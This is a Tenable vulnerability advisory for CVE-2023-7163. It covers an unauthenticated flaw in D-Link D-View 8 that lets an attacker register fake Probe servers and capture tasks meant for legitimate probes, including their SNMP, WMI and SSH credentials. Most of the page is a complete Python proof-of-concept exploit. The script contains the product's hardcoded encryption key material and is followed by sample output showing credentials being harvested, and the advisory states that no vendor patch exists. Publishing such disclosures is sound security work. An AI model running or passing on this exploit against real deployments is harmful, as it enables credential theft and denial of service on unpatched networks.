Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

D-Link D-View 8 Unauthenticated Probe-Core Server Communication

Critical

Synopsis

A security issue exists in D-Link D-View 8 v2.0.2.89 and prior that could allow an attacker to manipulate the probe inventory of the D-View service. This could result in the disclosure of info

An unauthenticated remote attacker can register a host of his/her choice as a Probe server by sending a 'probe-online' task to the Core server. The attacker can create many bogus, attacker-controlled Probe servers on the Core server, polluting the D-View 8 web UI and the underlying MongoDB collection DView8_Probe. If an attacker-controlled Probe server is used (i.e., for network discovery) by D-View 8 users, bogus device information can be sent to and stored on the Core server.  

A 'probe-online' task is sent by a Probe server to the Core server periodically (i.e., every minute) to indicate its online status. The ID (probeId) of the Probe server is included in the task.

In addition, the attacker can fetch tasks destinated to existing, legitimate Probe servers. D-View 8 tasks are stored in the DView8_Task MongoDB collection. A Probe server periodically (i.e., every 10 seconds) fetches (from the Core server) a task destinated to it with matching criteria like probeId, taskStatus (i.e., 8) and time (i.e., task updated within the last 15 minutes). If the attacker knows the probeId of a legitimate Probe server, s/he can fetch a task for the legitimate Probe before it does by fetching more frequently (i.e., every 2 seconds). It does so by sending a 'request_task' task to the Core server with the probeId of the legitimate Probe server in it.  

The probeId used in D-View 8 is in the form of probe-<mac-address> (i.e., probe-11-22-33-44-55-66) if the Probe server is on a different host than the Core server. If the Probe server and the Core server are on the same host, the probeId is in the form of LocalProbe-<mac-address> (i.e., LocalProbe-11-22-33-44-55-66). An attacker on the same LAN as a legitimate Probe server can determine its probeId as the attacker can learn about the Probe server's MAC address via ARP.

D-View 8 tasks can contain sensitive information such as login credentials. For example, an 'add-discovery' task can contain SNMP and WMI credentials  used for scanning network devices. This task is initiated when a user logged into the D-View 8 Web server performs a manual network discovery or when a schedule (i.e., daily) to perform network discovery is run. The task is sent to a Probe server asking it to scan for network devices so that they can be managed by D-View 8.

Another task containing credentials is 'tool-cli'. This task is initiated when a user logged into the D-View 8 Web server tries to connect (i.e., SSH) to a discovered device. The login (i.e., SSH) credentials to the device is present in the task and thus the attacker would be able to grab that.

If the attacker fetches a task before the legitimate Probe server does, the task is not performed by the legitimate Probe server because the taskStatus has been updated after the fetch, resulting in a denial-of-service.

PoC:

// 
// Fetch tasks for an existing, legitimate Probe server
//
// User may need to initiate the 'tool-cli' and/or 'add-discovery'
// task multiple times for the PoC to see those tasks as it competes
// with a legitimate Probe server.
// 
// The probeId should be probe-<mac-address> where <mac-address> is the
// MAC address of the Probe server set up above. 
// i.e., probe-11-22-33-44-55-66 
python3 dview8_probe_server.py -c <core_server_ip> -p <probeId_of_an_existing_probe_server>
Sending 'request_task' to get a task for probeId <REDACTED>
[...]
Received from Core server:
{"taskId": "9e12e507-1cad-4ead-8c92-a9d3e0c00ca2", "probeId": "<REDACTED>", "taskType": "tool-cli", "taskStatus": "9", "executeTime": 1697563390383, "contextArray": {"userName": "admin", "pingType": "Cli", "pingTimes": 5, "hops": 0, "siteName": "lab", "networkId": "91301bac-8340-47c6-8a83-91cf296f5237", "ip": "<REDACTED>", "deviceType": null, "command": " ", "credit": {"port": 22, "timeout": 4, "userName": "root", "password": "<REDACTED>", "protocol": "SSH", "commandPrompts": [null, null], "test": false}, "bytes": 32, "wmiCredit": null, "cliCredit": null, "id": "824b2074-7f1a-44d0-adb8-00648c6ee400"}, "errorCode": 0, "createTime": 1697563390383, "updateTime": 1697563394228, "extTimestamp": 0, "handlerIds": []}
[...]
Sending 'request_task' to get a task for probeId <REDACTED>
Sending 'request_task' to get a task for probeId <REDACTED>
[...]
Received from Core server:
{"taskId": "2eb539d0-6661-4e8d-9c62-39bd61cebb8e", "businessId": "91301bac-8340-47c6-8a83-91cf296f5237", "probeId": "<REDACTED>", "taskType": "add-discovery", "taskStatus": "9", "executeTime": 1697563721416, "expireTime": 1697564621400, "contextArray": {"networkId": "91301bac-8340-47c6-8a83-91cf296f5237", "networkName": "lab28", "siteId": "ec7b2da2-35e2-4d0d-8246-719c78c85146", "site": "lab", "taskId": "c748ccf3-5ce4-4936-8cf0-4b82c6e47fd6", "probeId": "<REDACTED>", "discoveryScope": {"discoveryMethod": "range", "discoveryRanges": [{"rangeId": "M6mHHjFxWp", "type": "ipRange", "value": "<REDACTED>~<REDACTED>", "ipProtocol": "ipv4", "ip": null, "cidr": null, "ipRange": {"startIp": "<REDACTED>", "endIp": "<REDACTED>"}, "csvFile": null, "credits": [{"creditId": "280a0d5b-10f6-4afe-8780-b13a4399df0d1561514223173", "authenticationType": "snmpv1", "name": "SNMP v1 default", "description": "SNMP v1 default credential", "port": 161, "timeout": 3, "writeCommunity": "private", "readCommunity": "public", "userName": "", "password": "", "retry": 1, "createTime": 1561514223000, "updateTime": 1585307675366, "shard": true, "userId": "PublicID", "test": false}, {"creditId": "f0e9623a-c45a-4c05-b9a8-e0188dd208391557300378757", "authenticationType": "snmpv2c", "name": "SNMP v2c default", "description": "SNMP v2c default credential", "port": 161, "timeout": 3, "writeCommunity": "private", "readCommunity": "public", "nonRepeaters": 0, "maxRepeaters": 10, "retry": 1, "createTime": 1557300378000, "updateTime": 1585307670080, "shard": true, "userId": "PublicID", "test": false}, {"creditId": "fbfc4430-c07e-42ac-9fe1-86b069f02ef81697227021901", "authenticationType": "snmpv3", "name": "snmpv3_creds", "description": "", "port": 161, "timeout": 4, "userName": "snmp_user", "mode": "AuthPriv", "context": "", "authAlgorithm": "MD5", "authPassword": "auth_passwd", "privacyAlgorithm": "DES", "privacyPassword": "priv_passwd", "nonRepeaters": 0, "maxRepeaters": 10, "retry": 3, "createTime": 1697227021967, "updateTime": 1697227021967, "shard": false, "userId": "59171d56-e6b4-4789-90ff-a7a27fd48548", "test": false}], "wmiCredits": [{"id": "5dd42673-0190-4149-ad9d-ab1771c2bb2b", "name": "wmi_creds", "type": "WMI", "userName": "wmi_user", "password": "wmi_passwd", "domain": "domain_name", "description": "", "updateTime": 1697227104695, "shard": false, "userId": "59171d56-e6b4-4789-90ff-a7a27fd48548"}]}], "ignoreIps": null}, "recurrent": true, "immediatelyExecute": false, "specificDatestamp": 1697255280000, "scheduleId": "kKMhAWMfjiQemhDcer", "ipCount": 2, "autoManaged": true, "pingValid": true}, "errorCode": 0, "createTime": 1697563721416, "updateTime": 1697563723299, "extTimestamp": 0, "handlerIds": []}
[...]
Sending 'request_task' to get a task for probeId <REDACTED>
Sending 'request_task' to get a task for probeId <REDACTED>
[...]
Received from Core server:
{"taskId": "4f9f855a-fec9-4854-9c2f-81452ca4b4ba", "probeId": "<REDACTED>", "taskType": "coreserver-ack-probe-online", "taskStatus": "9", "contextArray": "2.0.2.89:CanUseProbe:2.0.2.89", "errorCode": 0, "createTime": 1697564341535, "updateTime": 1697564341881, "extTimestamp": 0}
[...]
//
// Register a new Probe server with the Core server
//
python3 dview8_probe_server.py -c <core_server_ip> -p <arbitrary_probeId> --online
Sending 'request_task' to get a task for probeId MyProbeServer123
Sending 'probe-online' task, taskId: 1be50e05-42b7-4e4e-a31f-852ac0082854
Received from Core server:
{"taskId": "0ade3cdf-41da-4df6-9b06-8e4f23f0265a", "probeId": "MyProbeServer123", "taskType": "coreserver-ack-probe-online", "taskStatus": "9", "contextArray
": "2.0.2.89:CanUseProbe:2.0.2.89", "errorCode": 0, "createTime": 1697566922547, "updateTime": 1697566925554, "extTimestamp": 0}
Sending 'request_task' to get a task for probeId MyProbeServer123
Sending 'probe-online' task, taskId: f80404fc-4926-43ef-8155-97efbb6a099c
Received from Core server:
{"taskId": "3d5db6fd-bf23-4129-ac63-d57fd33c3b71", "probeId": "MyProbeServer123", "taskType": "coreserver-ack-probe-online", "taskStatus": "9", "contextArray
": "2.0.2.89:CanUseProbe:2.0.2.89", "errorCode": 0, "createTime": 1697566932586, "updateTime": 1697566932601, "extTimestamp": 0}
[...]
import sys, argparse, hexdump, requests, uuid
import json, time, zlib, socket
from threading import Thread
from base64 import b64encode, b64decode
from Crypto.Cipher import AES
from Crypto.Hash import SHA1
from Crypto.Util.Padding import pad, unpad
requests.packages.urllib3.disable_warnings()
def dump(title, data):
  print('[-- %s --]' % (title))
  hexdump.hexdump(data)
def encrypt(data, b64=True):
  key = get_key()
  cipher = AES.new(key, AES.MODE_ECB)
  out = cipher.encrypt(pad(data.encode(), AES.block_size))
  if b64: 
    out = b64encode(out).decode()
  return out
def decrypt(data, b64=True):
  if b64:
    data = b64decode(data)
  key = get_key()
  cipher = AES.new(key, AES.MODE_ECB)
  out = unpad(cipher.decrypt(data),AES.block_size).decode()
  return out
def get_key():
  keymat = 'dlink@888'.encode()
  d = SHA1.new(keymat).digest()
  key = SHA1.new(d).digest()[0:16]
  return key
def probe_online(coreIp, corePort, probeIp, probeId, interval):
  url = f'https://{coreIp}:{corePort}/dview8/core/result'
  taskType = 'probe-online'
  updateTime = int(time.time())
  resultArray = f'{{"probeId":"{probeId}","probeName":"{probeIp}","ip":"{probeIp}","coreServerIp":"{coreIp}","port":17600,"sysDescription":"mySystem","location":"NA","associationCode":"NA","cpuUsage":46.89320388349515,"memoryUsage":84.43184088712258,"diskUsage":30.511795755587347,"currentRxTraffic":5000,"currentTxTraffic":6000,"osName":"Windows Server 2019","managedDeviceCount":50,"canManagedDeviceCount":512,"discoverDeviceCount":60,"source":"DView8","updateTime":{updateTime},"trapListenStatus":"success","syslogListenStatus":"success","sflowListenStatus":"success","tftpListenStatus":"success","trapPort":162,"syslogPort":514,"sflowPort":6343,"tftpPort":69,"netflowListenStatus":"success","netflowPort":9996}}' 
  resultArray = b64encode(zlib.compress(resultArray.encode())).decode()
  while True:
    taskId = str(uuid.uuid4())
    print(f"Sending '{taskType}' task, taskId: {taskId}")
    task = {
      'taskId'        : taskId, 
      'probeId'       : probeId,
      'taskType'      : taskType,
      'taskStatus'    : '0',
      'resultArray'   : resultArray,
      'errorCode'     : 0,
      'createTime'    : int(time.time()),
      'extTimestamp'  : int(time.time()) + 1600
    } 
    data= json.dumps(task)
    data = encrypt(data)
    r = requests.post(url, data=data, verify=False, timeout=1)
    if r.text:
      print(f'\nReceived from Core server:\n{r.text}\n')
    time.sleep(interval)
def request_task(coreIp, corePort, probeIp, probeId, interval):
  url = f'https://{coreIp}:{corePort}/dview8/core/request'
  taskType = 'request_task'
  while True:
    taskId = str(uuid.uuid4())
    print(f"Sending '{taskType}' to get a task for probeId {probeId}")
    task = {
      'taskId'        : taskId, 
      'probeId'       : probeId,
      'taskType'      : taskType,
      'taskStatus'    : '0',
      'errorCode'     : 0,
      'createTime'    : int(time.time()),
      'extTimestamp'  : 0 
    } 
    data= json.dumps(task)
    data = encrypt(data)
    r = requests.post(url, data=data, verify=False)
    if r.text:
      data = decrypt(r.text)
      j = json.loads(data) 
      if 'contextArray' in j:
        ca = zlib.decompress(b64decode(j['contextArray'])).decode()
        try: 
          ca = json.loads(ca)
        except: pass
        j['contextArray'] = ca 
        print(f'\nReceived from Core server:\n{json.dumps(j)}\n')
    time.sleep(interval)
#
# MAIN
#
descr = 'D-Link D-View 8 Probe server'
parser = argparse.ArgumentParser(description=descr, formatter_class=argparse.RawTextHelpFormatter)
required = parser.add_argument_group('required arguments')
required.add_argument('-c', '--coreIp',required=True, help='Core server IP')
required.add_argument('-p', '--probeId',required=True, help='probeId to use')
parser.add_argument('-P', '--port', type=int, default=17500, help='D-View 8 core server port, default: %(default)s')
parser.add_argument('-o', '--online', action='store_true',help='Repeatly sends a probe-online task to Core server')
args = parser.parse_args()
coreIp = args.coreIp
corePort = args.port
probeId = args.probeId 
online = args.online
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((coreIp, corePort))
probeIp = s.getsockname()[0]
s.close()
if online:
  t = Thread(target=probe_online, args=(coreIp,corePort,probeIp,probeId,10))
  t.daemon = True
  t.start()
request_task(coreIp,corePort,probeIp,probeId,1)

 

 

Solution

The vendor has not responded to disclosure attempts for this issue. As such, no vendor supplied patch or solution is available at the time of this writing.

Disclosure Timeline

November 13, 2023 - Tenable requests security contact from vendor.
November 20, 2023 - Tenable requests security contact from vendor.
November 27, 2023 - Tenable makes final request for a security contact from vendor.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2023-7163
Tenable Advisory ID: TRA-2023-43
CVSSv3 Base / Temporal Score:
10 / 10
CVSSv3 Vector:
AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Affected Products:
D-Link D-View 8 v2.0.2.89
Risk Factor:
Critical

Advisory Timeline

December 28, 2023 - Initial release.